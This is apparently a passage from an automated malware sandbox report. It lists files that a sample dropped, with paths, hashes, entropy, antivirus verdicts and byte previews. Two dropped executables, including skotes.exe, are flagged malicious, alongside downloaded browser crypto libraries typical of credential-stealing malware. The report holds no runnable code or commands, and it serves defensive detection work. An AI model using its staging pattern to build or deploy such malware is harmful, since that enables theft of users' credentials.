Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.382900736826752
Encrypted:	false
SSDEEP:	48:SfNaoQqz4TEQqMfNaoQ8QVfNaoQGDdD0QGDMfNaoQtkNk+D20UrU0U8Qtkj:6NnQhTEQjNnQ8QBNnQdQFNnQtkNkf0U9
MD5:	DA02120A9A62B2FB3C664DC4D5BD6533
SHA1:	384C613EE865FC4E706010A2F41BB7EDD21D1B85
SHA-256:	79C755536709CE15BEAA857126DD3434CCA40044ECC8511F4395C7D4B1F32122
SHA-512:	EB46E09EAB8385B8B8862F0B702E202F092DDF561DB2E5B3CB91EC2FFA996EBF92501F3C253803A06A95A110C3E5278370B16B91B131E19F5037E2025E659400
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B475A26448188ECC456FDA1806BDDCA2",.. "id": "B475A26448188ECC456FDA1806BDDCA2",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B475A26448188ECC456FDA1806BDDCA2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5A8A6BB206D2F4071399193F1E667079",.. "id": "5A8A6BB206D2F4071399193F1E667079",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5A8A6BB206D2F4071399193F1E667079"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3110400
Entropy (8bit):	6.621189428174901
Encrypted:	false
SSDEEP:	49152:g5/nrfNkRsZYd1YdDbH2iMVsijfHhAEQEd5rS:g5vrfNkRsZYdIMVsqOEFS
MD5:	F3D952CDFB67A5DDF70E0E738DB76D96
SHA1:	911DF661B67F0440CCEF4B7B10F7EEC8E6DCC817
SHA-256:	7A2DEAF24841A693F78A8B8683E0A4777DBF58604392990F48A70C3180FEEDA9
SHA-512:	87037BB2D00C214A485B9D6D62B1FF48A6B5802684A65F1D3121693D0C3A2042700A7E84D9535EB3084897A90ABE3EC38DE33BDE9629F4CC9172426C36AECF5C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g............................../...........@.........................../......Q0...@.................................T@..h............................A...................................................................................... . . ....... ..................@....rsrc .....0.......0..............@....idata .....@.......0..............@...rldksuue. ..P......2..............@...vavwmpoz.....p/......P/.............@....taggant.0..../.."...T/.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\66fe91e0-958f-4441-ac1a-2928cd32b0bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9483d812-282b-4d0a-a451-96b3418fd339.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsCFBAKKJDBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3272192
Entropy (8bit):	6.6292336497999225
Encrypted:	false
SSDEEP:	24576:0Ic99kfAwFYga8JdMmxyJIy095+gweSjbm0/taN6J//9ehRxYPaKBNpI0muUU7cu:CMfTFYwJKmxyJQ5DKaN6kmBvI0sMHr
MD5:	9E19954BD113E38187CE4690720F936F
SHA1:	BDE75DA637F602EE415E38F32E38135D224296F1
SHA-256:	797010C216760A2DEAEADEDD5AFBEA855F61C0C857C1A96D0743C6BB4BAE112F
SHA-512:	2CEBE8FF2CB1BE60ABC3A111A08CF27D04158077C74B67BED5A2D3D2C0803BE06ED5B39AD6CF84A657A9212C2B5E63549D6808E36C4197A0078F4DE152E054B3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.....\.2...@.................................W...k.............................1.............................h.1..................................................... . ............................@....rsrc...............................@....idata ............................@...youvernl.@+......4+.................@...opxotnvx......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.400362043791626
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0rlI5AkK0rV5M:JIVuwEw5MUFZLBQLtdrrM
MD5:	AE86E6F8E0D98EFA9B38084F933E84AA
SHA1:	0FA383CB615866F1F6CA85B0A59D48DB1DFAABC0
SHA-256:	F5F7B067EC435A43AAB2A11E63F28DADB68F6B362C14CE66D9E5D988315BCB68
SHA-512:	5F098ABDA72138BCB7AB2E87BFDB8B22BB3FCDC54DDA453446D72A3BE0CD19DC7243B7248EC676DC611E9D3342101A4EE70B9EAF85082FD56336BC54195621FC
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d6f07e93-2e29-4270-b06c-ba7d9b0162e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\ea8a61aa-15fe-43f3-a8c3-b75735181495.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\9483d812-282b-4d0a-a451-96b3418fd339.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
